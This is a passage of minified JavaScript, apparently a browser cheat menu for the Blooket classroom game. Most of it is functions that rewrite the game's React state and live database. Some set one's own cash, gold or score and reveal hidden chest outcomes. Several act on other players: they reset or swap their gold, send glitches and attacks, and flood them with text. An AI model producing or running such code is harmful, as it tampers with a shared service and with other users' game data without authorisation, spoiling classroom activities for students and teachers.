Monster",color:"#2fa04a",class:"⚔️",rarity:"Uncommon",cash:[35e3,14e4,1e6,11e6,11e7],time:[5,5,4,4,4],price:[16e5,15e6,2e8,23e8]},{name:"Jester",color:"#be1e2d",class:"⚔️",rarity:"Rare",cash:[25e3,1e5,68e4,65e5,32e6],time:[3,3,2,2,1],price:[2e6,21e6,23e7,26e8]},{name:"Dragon",color:"#2fa04a",class:"⚔️",rarity:"Rare",cash:[36e3,15e4,15e5,15e6,15e7],time:[4,4,4,4,4],price:[23e5,24e6,27e7,3e9]},{name:"Unicorn",color:"#f6afce",class:"⚔️",rarity:"Epic",cash:[24e3,15e4,14e5,7e6,75e6],time:[2,2,2,1,1],price:[45e5,45e6,55e7,65e8]},{name:"Queen",color:"#9e1f63",class:"⚔️",rarity:"Rare",cash:[24e3,95e3,95e4,97e5,95e6],time:[3,3,3,3,3],price:[19e5,2e7,23e7,25e8]},{name:"King",color:"#ee2640",class:"⚔️",rarity:"Legendary",cash:[75e3,4e5,6e6,9e7,125e7],time:[5,5,5,5,5],price:[6e6,95e6,16e8,25e9]},{name:"Two of Spades",color:"#414042",class:"🏰",rarity:"Uncommon",cash:[4500,14e3,14e4,14e5,9e6],time:[1,1,1,1,1],price:[77e4,83e5,98e6,71e7]},{name:"Eat Me",color:"#d58c55",class:"🏰",rarity:"Uncommon",cash:[13e3,45e3,45e4,45e5,5e7],time:[2,2,2,2,2],price:[13e5,14e6,16e7,2e9]},{name:"Drink Me",color:"#dd7399",class:"🏰",rarity:"Uncommon",cash:[12e3,4e4,4e5,4e6,45e6],time:[2,2,2,2,2],price:[12e5,12e6,14e7,18e8]},{name:"Alice",color:"#4cc9f5",class:"🏰",rarity:"Uncommon",cash:[13e3,42e3,21e4,21e5,23e6],time:[2,2,1,1,1],price:[12e5,13e6,15e7,19e8]},{name:"Queen of Hearts",color:"#d62027",class:"🏰",rarity:"Uncommon",cash:[23e3,87e3,62e4,75e5,9e7],time:[4,4,3,3,3],price:[13e5,13e6,18e7,24e8]},{name:"Dormouse",color:"#89d6f8",class:"🏰",rarity:"Rare",cash:[17e3,68e3,7e5,35e5,35e6],time:[2,2,1,1,1],price:[2e6,22e6,25e7,28e8]},{name:"White Rabbit",color:"#ffcd05",class:"🏰",rarity:"Rare",cash:[26e3,105e3,11e6,77e5,72e6],time:[3,3,3,2,2],price:[2e6,23e6,28e7,29e8]},{name:"Cheshire Cat",color:"#dd7399",class:"🏰",rarity:"Rare",cash:[32e3,1e5,9e5,9e6,6e7],time:[4,3,3,3,2],price:[18e5,19e6,22e7,24e8]},{name:"Caterpillar",color:"#00c0f3",class:"🏰",rarity:"Epic",cash:[1e4,7e4,65e4,75e5,85e6],time:[1,1,1,1,1],price:[42e5,42e6,54e7,69e8]},{name:"Mad Hatter",color:"#914f93",class:"🏰",rarity:"Epic",cash:[38e3,25e4,15e5,14e6,8e7],time:[3,3,2,2,1],price:[48e5,48e6,52e7,66e8]},{name:"King of Hearts",color:"#c62127",class:"🏰",rarity:"Legendary",cash:[8e4,42e4,68e5,1e8,15e8],time:[5,5,5,5,5],price:[7e6,11e7,18e8,3e10]},{name:"Earth",color:"#416eb5",class:"🚀",rarity:"Uncommon",cash:[15e3,45e3,6e5,65e5,65e6],time:[3,3,3,3,3],price:[1e6,11e6,15e7,17e8]},{name:"Meteor",color:"#c68c3c",class:"🚀",rarity:"Uncommon",cash:[23e3,65e3,7e5,45e5,2e7],time:[5,4,3,2,1],price:[95e4,13e6,16e7,16e8]},{name:"Stars",color:"#19184d",class:"🚀",rarity:"Uncommon",cash:[1e4,4e4,2e5,2e6,18e6],time:[2,2,1,1,1],price:[14e5,14e6,15e7,15e8]},{name:"Alien",color:"#8dc63f",class:"🚀",rarity:"Uncommon",cash:[3e4,1e5,1e6,11e6,85e6],time:[4,4,4,4,4],price:[15e5,17e6,19e7,17e8]},{name:"Planet",color:"#9dc6ea",class:"🚀",rarity:"Rare",cash:[25e3,1e5,9e5,9e6,9e7],time:[3,3,3,3,3],price:[2e6,21e6,21e7,24e8]},{name:"UFO",color:"#a15095",class:"🚀",rarity:"Rare",cash:[17e3,7e4,7e5,7e6,7e7],time:[2,2,2,2,2],price:[21e5,23e6,25e7,28e8]},{name:"Spaceship",color:"#ffcb29",class:"🚀",rarity:"Epic",cash:[6e4,32e4,21e5,15e6,85e6],time:[5,4,3,2,1],price:[48e5,46e6,54e7,68e8]},{name:"Astronaut",color:"#9bd4ee",class:"🚀",rarity:"Legendary",cash:[45e3,26e4,25e5,38e6,55e7],time:[3,3,2,2,2],price:[65e5,1e8,17e8,27e9]},{name:"Lil Bot",color:"#3e564a",class:"🤖",rarity:"Uncommon",cash:[4e3,12e3,18e4,19e5,25e6],time:[1,1,1,1,1],price:[73e4,12e6,13e7,19e8]},{name:"Lovely Bot",color:"#f179af",class:"🤖",rarity:"Uncommon",cash:[16e3,65e3,65e4,48e5,42e6],time:[3,3,3,2,2],price:[13e5,14e6,17e7,16e8]},{name:"Angry Bot",color:"#f1613a",class:"🤖",rarity:"Uncommon",cash:[22e3,85e3,8e5,62e5,65e6],time:[4,4,4,3,3],price:[12e5,13e6,15e7,17e8]},{name:"Happy Bot",color:"#51ba6b",class:"🤖",rarity:"Uncommon",cash:[11e3,45e3,5e5,25e5,3e7],time:[2,2,2,1,1],price:[14e5,15e6,18e7,24e8]},{name:"Watson",color:"#d69b5a",class:"🤖",rarity:"Rare",cash:[24e3,1e5,1e6,1e7,1e8],time:[3,3,3,3,3],price:[2e6,22e6,24e7,26e8]},{name:"Buddy Bot",color:"#9dc6ea",class:"🤖",rarity:"Rare",cash:[22e3,95e3,65e4,65e5,65e6],time:[3,3,2,2,2],price:[19e5,21e6,23e7,25e8]},{name:"Brainy Bot",color:"#9ecf7a",class:"🤖",rarity:"Epic",cash:[5e4,25e4,21e5,21e6,17e7],time:[4,3,3,3,2],price:[5e6,46e6,5e8,67e8]},{name:"Mega Bot",color:"#d71f27",class:"🤖",rarity:"Legendary",cash:[8e4,43e4,42e5,62e6,1e9],time:[5,5,3,3,3],price:[7e6,12e7,19e8,35e9]}].map((e=>({name:e.name,value:JSON.stringify(e)})))}],run:function(e){let t=document.createElement("iframe");document.body.append(t),window.alert=t.contentWindow.alert.bind(window),t.remove();let{stateNode:o}=Object.values(function e(t=document.querySelector("body>div")){return Object.values(t)[1]?.children?.[0]?._owner.stateNode?t:e(t.querySelector(":scope>div"))}())[1].children[0]._owner;o.state.blooks.length>=10&&alert("Choose a blook to replace"),o.chooseBlook(JSON.parse(e))}},{name:"Free Upgrades",description:"Sets upgrade prices to 0 for all current blooks",run:function(){Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner.stateNode.setState((e=>({...e,blooks:e.blooks.map((e=>({...e,price:[0,0,0,0]})))})))}},{name:"Max Blooks",description:"Maxes out all your blooks' levels",run:function(){Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner.stateNode.state.blooks.forEach((e=>e.level=4))}},{name:"Remove Glitches",description:"Removes all enemy glitches",run:function(){var e=Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner.stateNode;e.setState({bits:0,ads:[],hazards:[],color:"",lol:!1,joke:!1,slow:!1,dance:!1,glitch:"",glitcherName:"",glitcherBlook:""}),clearTimeout(e.adTimeout),clearInterval(e.hazardInterval),clearTimeout(e.nightTimeout),clearTimeout(e.glitchTimeout),clearTimeout(e.lolTimeout),clearTimeout(e.jokeTimeout),clearTimeout(e.slowTimeout),clearTimeout(e.danceTimeout),clearTimeout(e.nameTimeout)}},{name:"Send Glitch",description:"Sends a glitch to everyone else playing",inputs:[{name:"Glitch",type:"options",options:Object.entries({lb:"Lunch Break",as:"Ad Spam",e37:"Error 37",nt:"Night Time",lo:"#LOL",j:"Jokester",sm:"Slow Mo",dp:"Dance Party",v:"Vortex",r:"Reverse",f:"Flip",m:"Micro"}).map((([e,t])=>({name:t,value:e})))}],run:function(e){var t=Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner.stateNode;t.safe=!0,t.props.liveGameController.setVal({path:`c/${t.props.client.name}/tat`,val:e})}},{name:"Set All MegaBot",description:"Sets all your blooks to maxed out Mega Bots",run:function(){Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner.stateNode.setState({blooks:Array(10).fill({name:"Mega Bot",color:"#d71f27",class:"🤖",rarity:"Legendary",cash:[8e4,43e4,42e5,62e6,1e9],time:[5,5,3,3,3],price:[7e6,12e7,19e8,35e9],active:!1,level:4,bonus:5.5})})}},{name:"Set Cash",description:"Sets amount of cash you have",inputs:[{name:"Cash",type:"number"}],run:function(e){Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner.stateNode.setState({cash:e})}}],fishing:[{name:"Frenzy",description:"Sets everyone to frenzy mode",run:function(){var e=Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner.stateNode;e.props.liveGameController.setVal({path:"c/"+e.props.client.name,val:{b:e.props.client.blook,w:e.state.weight,f:"Frenzy",s:!0}})}},{name:"Always Frenzy",description:"Always sets everyone to frenzy mode",type:"toggle",enabled:!1,data:null,run:function(){this.enabled?(this.enabled=!1,clearInterval(this.data),this.data=null):(this.enabled=!0,this.data=setInterval((()=>{(async()=>{let{stateNode:e}=Object.values(function e(t=document.querySelector("body>div")){return Object.values(t)[1]?.children?.[0]?._owner.stateNode?t:e(t.querySelector(":scope>div"))}())[1].children[0]._owner;e.props.liveGameController.setVal({path:`c/${e.props.client.name}`,val:{b:e.props.client.blook,w:e.state.weight,f:"Frenzy",s:!0}})})()}),50))}},{name:"Remove Distractions",description:"Removes distractions",type:"toggle",enabled:!1,data:null,run:function(){this.enabled?(this.enabled=!1,clearInterval(this.data),this.data=null):(this.enabled=!0,this.data=setInterval((()=>{Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner.stateNode.setState({party:""})}),50))}},{name:"Send Distraction",description:"Sends a distraction to everyone",inputs:[{name:"Distraction",type:"options",options:["Crab","Jellyfish","Frog","Pufferfish","Octopus","Narwhal","Megalodon","Blobfish","Baby Shark"]}],run:function(e){var t=document.createElement("iframe");(t=(document.body.append(t),window.alert=t.contentWindow.alert.bind(window),t.remove(),Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner).stateNode).safe=!0,t.props.liveGameController.setVal({path:"c/"+t.props.client.name,val:{b:t.props.client.blook,w:t.state.weight,f:e,s:!0}})}},{name:"Set Lure",description:"Sets fishing lure (range 1 - 5)",inputs:[{name:"Lure (1 - 5)",type:"number",min:1,max:5}],run:function(e){Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner.stateNode.setState({lure:Math.max(Math.min(e-1,4),0)})}},{name:"Set Next Fish",description:"Sets the next fish to catch",inputs:[{name:"Fish",type:"options",options:["Old Boot","Waffle","Two of Spades","Jellyfish","Clownfish","Goldfish","Frog","Blizzard Clownfish","Turtle","Cat","Lovely Frog","Lucky Frog","Poison Dart Frog","Seal","Walrus","Fairy","Crab","Lemon Crab","Pufferfish","Blobfish","Rainbow Jellyfish","Octopus","Pirate Pufferfish","Donut Blobfish","Crimson Octopus","Narwhal","Baby Shark","Megalodon","Alien","Rainbow Narwhal","UFO","Santa Claus","Swamp Monster","Red Astronaut","Spooky Pumpkin","Dragon","Tim the Alien"]}],run:function(e){function t(){return Object.values(document.querySelector("#app > div > div"))[1].children[0]._owner}var o={"Old Boot":{rarity:"Trash",minWeight:1,maxWeight:10,tiers:["F","D","C"]},Waffle:{rarity:"Trash",minWeight:1,maxWeight:10,tiers:["F","D","C"]},"Two of Spades":{rarity:"Trash",minWeight:1,maxWeight:10,tiers:["F","D","C"]},Jellyfish:{rarity:"Easy One",minWeight:10,maxWeight:25,tiers:["D","C","B"]},Clownfish:{rarity:"Easy One",minWeight:20,maxWeight:45,tiers:["D","C","B"]},Goldfish:{rarity:"Easy One",minWeight:30,maxWeight:65,tiers:["D","C","B"]},Frog:{rarity:"Easy One",minWeight:50,maxWeight:100,tiers:["D","C","B"]},"Blizzard Clownfish":{rarity:"Great Catch",minWeight:75,maxWeight:125,tiers:["D","C","B"]},Turtle:{rarity:"Great Catch",minWeight:100,maxWeight:150,tiers:["D","C","B","A"]},Cat:{rarity:"Great Catch",minWeight:100,maxWeight:200,tiers:["D","C","B","A"]},"Lovely Frog":{rarity:"Great Catch",minWeight:150,maxWeight:350,tiers:["D","C","B","A"]},"Lucky Frog":{rarity:"Great Catch",minWeight:200,maxWeight:400,tiers:["D","C","B","A"]},"Poison Dart Frog":{rarity:"Great Catch",minWeight:250,maxWeight:750,tiers:["D","C","B","A"]},Seal:{rarity:"Rare Find",minWeight:500,maxWeight:1e3,tiers:["D","C","B","A"]},Walrus:{rarity:"Rare Find",minWeight:700,maxWeight:2200,tiers:["D","C","B","A"]},Fairy:{rarity:"Rare Find",minWeight:1500,maxWeight:2500,tiers:["D","C","B","A"]},Crab:{rarity:"Rare Find",minWeight:1e3,maxWeight:3e3,tiers:["D","C","B","A"]},"Lemon Crab":{rarity:"Rare Find",minWeight:2e3,maxWeight:5e3,tiers:["C","B","A"]},Pufferfish:{rarity:"Rare Find",minWeight:2e3,maxWeight:4e3,tiers:["D","C","B","A"]},Blobfish:{rarity:"Rare Find",minWeight:3e3,maxWeight:5e3,tiers:["D","C","B","A"]},"Rainbow Jellyfish":{rarity:"Epic Grab",minWeight:7e3,maxWeight:1e4,tiers:["C","B","A"]},Octopus:{rarity:"Epic Grab",minWeight:1e4,maxWeight:15e3,tiers:["C","B","A"]},"Pirate Pufferfish":{rarity:"Epic Grab",minWeight:12e3,maxWeight:2e4,tiers:["C","B","A"]},"Donut Blobfish":{rarity:"Epic Grab",minWeight:13e3,maxWeight:25e3,tiers:["C","B","A"]},"Crimson Octopus":{rarity:"Epic Grab",minWeight:15e3,maxWeight:3e4,tiers:["B","A"]},Narwhal:{rarity:"Catch of the Day",minWeight:25e3,maxWeight:5e4,tiers:["B","A","S"]},"Baby Shark":{rarity:"Catch of the Day",minWeight:5e4,maxWeight:1e5,tiers:["B","A","S"]},Megalodon:{rarity:"Catch of the Day",minWeight:25e4,maxWeight:5e5,tiers:["B","A","S"]},Alien:{rarity:"Angler's Legend",minWeight:5e5,maxWeight:7e5,tiers:["A","S"]},"Rainbow Narwhal":{rarity:"Angler's Legend",minWeight:75e4,maxWeight:1e6,tiers:["A","S","S+"]},UFO:{rarity:"Angler's Legend",minWeight:1e6,maxWeight:2e6,tiers:["A","S","S+"]},"Santa Claus":{rarity:"Angler's Legend",minWeight:1e6,maxWeight:2e6,tiers:["A","S","S+"]},"Swamp Monster":{rarity:"Angler's Legend",minWeight:1e6,maxWeight:2e6,tiers:["A","S","S+"]},"Red Astronaut":{rarity:"Angler's Legend",minWeight:1e6,maxWeight:2e6,tiers:["A","S","S+"]},"Spooky Pumpkin":{rarity:"Angler's Legend",minWeight:1e6,maxWeight:2e6,tiers:["A","S","S+"]},Dragon:{rarity:"Angler's Legend",minWeight:1e6,maxWeight:2e6,tiers:["A","S","S+"]},"Tim the Alien":{rarity:"Angler's Legend",minWeight:15e5,maxWeight:25e5,tiers:["A","S","S+"]}},a=["Crab","Jellyfish","Frog","Pufferfish","Octopus","Narwhal","Megalodon","Blobfish","Baby Shark"];if(!window.functionSet){var n=t().stateNode.answerNext;t().stateNode.answerNext=function(){var r,i;t().stateNode.state.hackFish?(t().stateNode.setState({stage:"caught",isCast:!1,fish:{name:r=e,rarity:o[r].rarity,weight:(i=o[r].minWeight,Math.floor(Math.random()*(o[r].maxWeight-i)+i)),tier:o[r].tiers[Math.floor(Math.random()*o[r].tiers.length)],isSpecial:a.includes(r)&&8>Math.floor(100*Math.random())},claimReady:!1}),setTimeout((function(){t().stateNode.setState({claimReady:!0})}),1600),t().stateNode.state.hackFish=null):n.apply(this,arguments)}}window.functionSet=!0,function(e){Object.keys(o).includes(e)?t().stateNode.state.hackFish=e:alert("That fish does not exist!")}(e)}},{name:"Set Weight",description:"Sets weight",inputs:[{name:"Weight",type:"number"}],run:function(e){var t=Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner.stateNode;t.setState({weight:e,weight2:e}),t.props.liveGameController.setVal({path:"c/"+t.props.client.name,val:{b:t.props.client.blook,w:e,f:["Crab","Jellyfish","Frog","Pufferfish","Octopus","Narwhal","Megalodon","Blobfish","Baby Shark"][Math.floor(9*Math.random())]}})}}],flappy:[{name:"Toggle Ghost",description:"Lets you go through the pipes",type:"toggle",enabled:!1,run:function(){this.enabled=!this.enabled;for(const e of Object.values(document.querySelector("#phaser-bouncy"))[0].return.updateQueue.lastEffect.deps[0].current.config.sceneConfig.physics.world.bodies.entries)if(e.gameObject.frame.texture.key.startsWith("blook")){e.checkCollision.none=this.enabled,e.gameObject.setAlpha(this.enabled?.5:1);break}}},{name:"Set Score",description:"Sets flappy blook score",inputs:[{name:"Score",type:"number"}],run:function(e){Object.values(document.querySelector("#phaser-bouncy"))[0].return.updateQueue.lastEffect.deps[1](e||0)}},{name:"Change Settings",description:"Changes various game mechanics and lets you play with the spacebar",inputs:[{name:"Bird Gravity",type:"number",value:800},{name:"Bird Speed",type:"number",value:125},{name:"Bird Flap Power",type:"number",value:300}],run:function(e,t,o){const a=Object.values(document.querySelector("#phaser-bouncy"))[0].return.updateQueue.lastEffect.deps[0].current.config.sceneConfig;a.birdGravity=e,a.birdSpeed=t,a.birdFlapPower=o,a.flap=function(){this.isStarted||(this.bird.body.gravity.y=this.birdGravity,this.pipeGroup.setVelocityX(-this.birdSpeed),this.groundGroup.setVelocityX(-this.birdSpeed),this.isStarted=!0),this.bird.body.velocity.y=-this.birdFlapPower},a.input._events.pointerdown=[],a.create(),a.input.keyboard.addKey("SPACE").on("down",(e=>{a.flap.call(a)}))}}],gold:[{name:"Always Triple",description:"Always get triple gold",type:"toggle",enabled:!1,data:null,run:function(){let e=Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner.stateNode;e._choosePrize||=e.choosePrize,this.enabled?(this.enabled=!1,clearInterval(this.data),this.data=null,e.choosePrize=e._choosePrize||e.choosePrize):(this.enabled=!0,this.data=setInterval((()=>{e.choosePrize=function(t){e.state.choices[t]={type:"multiply",val:3,text:"Triple Gold!",blook:"Unicorn"},e._choosePrize(t)}}),50))}},{name:"Auto Choose",description:"Automatically picks the option that would give you the most gold",type:"toggle",enabled:!1,data:null,run:function(){this.enabled?(this.enabled=!1,clearInterval(this.data),this.data=null):(this.enabled=!0,this.data=setInterval((()=>{let{stateNode:e}=Object.values(function e(t=document.querySelector("body>div")){return Object.values(t)[1]?.children?.[0]?._owner.stateNode?t:e(t.querySelector(":scope>div"))}())[1].children[0]._owner;"prize"==e.state.stage&&e.props.liveGameController.getDatabaseVal("c",(t=>{if(null==t)return;t=Object.entries(t);let o=0,a=0,n=-1;for(let a=0;a<t.length;a++)t[a][0]!=e.props.client.name&&t[a][1]>o&&(o=t[a][1]);for(let t=0;t<e.state.choices.length;t++){const r=e.state.choices[t];let i=e.state.gold;"gold"==r.type?i=e.state.gold+(r.val||0):"multiply"==r.type||"divide"==r.type?i=Math.round(e.state.gold*r.val)||e.state.gold:"swap"==r.type?i=o||e.state.gold:"take"==r.type&&(i=e.state.gold+(o*r.val||0)),(i||0)<=a||(a=i,n=t+1)}document.querySelector("div[class*='choice"+n+"']")?.click()}))}),50))}},{name:"Chest ESP",description:"Shows what each chest will give you",type:"toggle",enabled:!1,data:null,run:function(){this.enabled?(this.enabled=!1,clearInterval(this.data),this.data=null):(this.enabled=!0,this.data=setInterval((()=>{(async()=>{Object.values(function e(t=document.querySelector("body>div")){return Object.values(t)[1]?.children?.[0]?._owner.stateNode?t:e(t.querySelector(":scope>div"))}())[1].children[0]._owner.stateNode.state.choices.forEach((({text:e},t)=>{let o=document.querySelector(`div[class*='choice${t+1}']`);if(!o||o.querySelector("div"))return;let a=document.createElement("div");a.style.color="white",a.style.fontFamily="Eczar",a.style.fontSize="2em",a.style.display="flex",a.style.justifyContent="center",a.style.transform="translateY(200px)",a.innerText=e,o.append(a)}))})()}),50))}},{name:"Remove Lose 25%-50%",description:"Removes Lose 25%-50% chests",type:"toggle",enabled:!1,data:null,run:function(){let e=this,t=this;function o(){return Object.values(document.querySelector("#app > div > div"))[1].children[1]._owner}e.enabled||t.enabled?(clearInterval(e.data),clearInterval(t.data),e.data=null,t.data=null,e.enabled=!1,t.enabled=!1):(e.enabled=!0,t.enabled=!0,e.data=setInterval((()=>{document.querySelectorAll('div[role="button"]').forEach((e=>{("Lose 25%"===e.innerText||"Lose 50%"===e.innerText)&&(e.style.display="none")}))}),50),t.data=setInterval((()=>{if("gold"===("gold"===window.location.pathname.split("/")[2]&&"gold")&&t.enabled)try{if("prize"===o().stateNode.state.stage){let{choices:e}=o().stateNode.state,t=document.querySelector("div[class*='regularBody']").children[1];t&&(document.querySelectorAll(".chest-esp").length?e.forEach(((e,o)=>{3==t.children.length&&t.children[o].children[1].innerText!=e.text&&(t.children[o].children[1].innerText=e.text)})):e.forEach(((e,o)=>{(textElement=document.createElement("p")).className="chest-esp",textElement.innerText=e.text,textElement.style="text-align: center; font-size: 30px; color: white; font-family:Titan One, sans-serif; border-color: black; margin-top: 200px; opacity: 0;";try{t.children[o].appendChild(textElement)}catch(e){console.log(e)}})))}}catch(e){console.log(e)}}),50))}},{name:"Reset Players Gold",description:"Sets a player's gold to 0",inputs:[{name:"Player",type:"options",options(){let e=Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner.stateNode;return new Promise((t=>e.props.liveGameController._liveApp?e.props.liveGameController.getDatabaseVal("c",(e=>e&&t(Object.keys(e)))):t([])))}}],run:function(e){var{props:t,state:o}=Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner.stateNode;t.liveGameController.setVal({path:"c/".concat(t.client.name),val:{b:t.client.blook,g:o.gold,tat:e+":swap:0"}})}},{name:"Set Gold",description:"Sets amount of gold",inputs:[{name:"Gold",type:"number"}],run:function(e){var t=Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner.stateNode;t.setState({gold:e,gold2:e}),t.props.liveGameController.setVal({path:"c/".concat(t.props.client.name),val:{b:t.props.client.blook,g:e}})}},{name:"Swap Gold",description:"Swaps gold with someone",inputs:[{name:"Player",type:"options",options(){let e=Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner.stateNode;return new Promise((t=>e.props.liveGameController._liveApp?e.props.liveGameController.getDatabaseVal("c",(e=>e&&t(Object.keys(e)))):t([])))}}],run:function(e){let t=Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner.stateNode;t.props.liveGameController.getDatabaseVal("c",(o=>{o?.[e]&&(o=o[e].g,t.props.liveGameController.setVal({path:"c/".concat(t.props.client.name),val:{b:t.props.client.blook,g:o,tat:e+":swap:"+t.state.gold}}),t.setState({gold:o,gold2:o}))}))}},{name:"Set Player's Gold",description:"Sets a players gold to any amount.",inputs:[{name:"Player",type:"options",options(){let e=Object.values(document.querySelector("#app>div>div"))[1].children[0]._owner.stateNode;return new Promise((t=>e.props.liveGameController._liveApp?e.props.liveGameController.getDatabaseVal("c",(e=>e&&t(Object.keys(e)))):t([])))}},{name:"Amount",type:"input"}],run:(e,t)=>{const o=Object.values(document.querySelector("#app>div>div"))[1].children[0]._owner.stateNode;o.props.liveGameController.setVal({path:`c/${o.props.client.name}/tat`,val:`${e}:swap:${t}`})}},{name:"Reset All Players' Gold",description:"Set's everyone else's gold to 0",run:function(){var e=document.createElement("iframe");document.body.append(e),window.alert=e.contentWindow.alert.bind(window),e.remove();let{props:t,state:o}=Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner.stateNode,a=0;t.liveGameController.getDatabaseVal("c",(async e=>{if(e)for(let n of Object.keys(e))t.liveGameController.setVal({path:"c/".concat(t.client.name),val:{b:t.client.blook,g:o.gold,tat:n+":swap:0"}}),a++,await new Promise((e=>setTimeout(e,4e3)));alert(`Reset ${a} players' gold!`)}))}},{name:"Send Ad Text",description:"Sends a load of text to another player (This will override your blook!)",inputs:[{name:"Player",type:"options",options(){let{stateNode:e}=Object.values(function e(t=document.querySelector("body>div")){return Object.values(t)[1]?.children?.[0]?._owner.stateNode?t:e(t.querySelector(":scope>div"))}())[1].children[0]._owner;return new Promise((t=>e.props.liveGameController._liveApp?e.props.liveGameController.getDatabaseVal("c",(e=>e&&t(Object.keys(e)))):t([])))}},{name:"Text"}],run:async function(e,t){let{props:o}=Object.values(function e(t=document.querySelector("body>div")){return Object.values(t)[1]?.children?.[0]?._owner.stateNode?t:e(t.querySelector(":scope>div"))}())[1].children[0]._owner.stateNode,a=`Dog:${Array(500).fill(t).join(" ")}`;o.client.blook=a,o.liveGameController.setVal({path:`c/${o.client.name}/b`,val:a}),o.liveGameController.setVal({path:`c/${o.client.name}/tat`,val:`${e}:196`})}}],kingdom:[{name:"Choice ESP",description:"Shows you what will happen if you say Yes or No",type:"toggle",enabled:!1,data:null,run:function(){this.enabled?(this.enabled=!1,clearInterval(this.data),this.data=null):(this.enabled=!0,this.data=setInterval((e=>{let{stateNode:t}=Object.values(function e(t=document.querySelector("body>div")){return Object.values(t)[1]?.children?.[0]?._owner.stateNode?t:e(t.querySelector(":scope>div"))}())[1].children[0]._owner,o=Array.prototype.reduce.call(document.querySelectorAll("[class*=statContainer]"),((t,o,a)=>(t[e[a]]=o,t)),{});"choice"==t.state.phase&&(Array.prototype.forEach.call(document.querySelectorAll(".choiceESP"),(e=>e.remove())),Object.keys(t.state.guest.yes||{}).forEach((e=>{if(null==o[e])return;let a=document.createElement("div");a.className="choiceESP",a.style="font-size: 24px; color: rgb(75, 194, 46); font-weight: bolder;",a.innerText=String(t.state.guest.yes[e]),o[e].appendChild(a)})),Object.keys(t.state.guest.no||{}).forEach((e=>{if(null==o[e])return;let a=document.createElement("div");a.className="choiceESP",a.style="font-size: 24px; color: darkred; font-weight: bolder;",a.innerText=String(t.state.guest.no[e]),o[e].appendChild(a)})),Array.prototype.forEach.call(document.querySelectorAll("[class*=guestButton][role=button]"),(e=>e.onclick=()=>Array.prototype.forEach.call(document.querySelectorAll(".choiceESP"),(e=>e.remove())))))}),50,["materials","people","happiness","gold"]))}},{name:"Disable Tax Toucan",description:"Tax evasion",run:function(){Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner.stateNode.taxCounter=Number.MAX_VALUE}},{name:"Max Stats",description:"Sets all resources to the max",run:function(){Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner.stateNode.setState({materials:100,people:100,happiness:100,gold:100})}},{name:"Set Guests",description:"Sets the amount of guests you've seen",inputs:[{name:"Guests",type:"number"}],run:function(e){Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner.stateNode.setState({guestScore:e})}},{name:"Skip Guest",description:"Skips the current guest",run:function(){Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner.stateNode.nextGuest()}}],racing:[{name:"Instant Win",description:"Instantly Wins the race",run:function(){let e=Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner.stateNode;e.setState({progress:e.state.goalAmount},(()=>{let{question:t}=e.state;try{[...document.querySelectorAll('[class*="answerContainer"]')][t.answers.map(((e,o)=>t.correctAnswers.includes(e)?o:null)).filter((e=>null!=e))[0]]?.click?.()}catch{}}))}},{name:"Set Questions",description:"Sets the number of questions left",inputs:[{name:"Questions",type:"number"}],run:function(e){let{stateNode:t}=Object.values(function e(t=document.querySelector("body>div")){return Object.values(t)[1]?.children?.[0]?._owner.stateNode?t:e(t.querySelector(":scope>div"))}())[1].children[0]._owner;e=t.props.client.amount-e,t.setState({progress:e}),t.props.liveGameController.setVal({path:"c/".concat(t.props.client.name),val:{b:t.props.client.blook,pr:e}})}},{name:"Attack Player",description:"Sends the specified attack to a player",inputs:[{name:"Player",type:"options",options(){let{stateNode:e}=Object.values(function e(t=document.querySelector("body>div")){return Object.values(t)[1]?.children?.[0]?._owner.stateNode?t:e(t.querySelector(":scope>div"))}())[1].children[0]._owner;return new Promise((t=>e.props.liveGameController._liveApp?e.props.liveGameController.getDatabaseVal("c",(e=>e&&t(Object.keys(e)))):t([])))}},{name:"Attack",type:"options",options:Object.entries({"Woosh(-1)":"wind","Rocket(-1)":"rocket","Fire(-3)":"fire",Freeze:"freeze"}).map((([e,t])=>({name:e,value:t})))}],run:function(e,t){let{stateNode:o}=Object.values(function e(t=document.querySelector("body>div")){return Object.values(t)[1]?.children?.[0]?._owner.stateNode?t:e(t.querySelector(":scope>div"))}())[1].children[0]._owner;o.props.liveGameController.setVal({path:`c/${o.props.client.name}/tat`,val:e+":"+t})}}],extras:[{name:"Toggle Invert Colors",description:"Toggle between inverting and restoring colors on the page",run:function(){"invert()"==document.getElementsByTagName("html")[0].style.filter?document.getElementsByTagName("html")[0].style.filter="":document.getElementsByTagName("html")[0].style.filter="invert()",elems=document.querySelectorAll(" a, img, video");for(let e=0;e<elems.length;e++)("A"==elems[e].nodeName&&(""!=elems[e].style.background||""!=elems[e].style.backgroundImage)||"A"!=elems[e].nodeName)&&("invert()"==elems[e].style.filter?elems[e].style.filter="":elems[e].style.filter="invert()")}},{name:"Toggle Dark Mode",description:"Toggles Dark Mode",run:function(){var e=document.createElement("iframe");document.body.append(e),window.alert=e.contentWindow.alert.bind(window),e.remove(),function(){let e=document.querySelectorAll("#nightify");if(e.length)e[0].parentNode.removeChild(e[0]);else{var t=document.getElementsByTagName("head")[0],o=document.createElement("style");o.setAttribute("type","text/css"),o.setAttribute("id","nightify"),o.appendChild(document.createTextNode("html{-webkit-filter:invert(100%) hue-rotate(180deg) contrast(70%) !important; background: #222;} .line-content {background-color: #333;} html img{-webkit-filter:invert(100%) hue-rotate(0deg) contrast(100%) 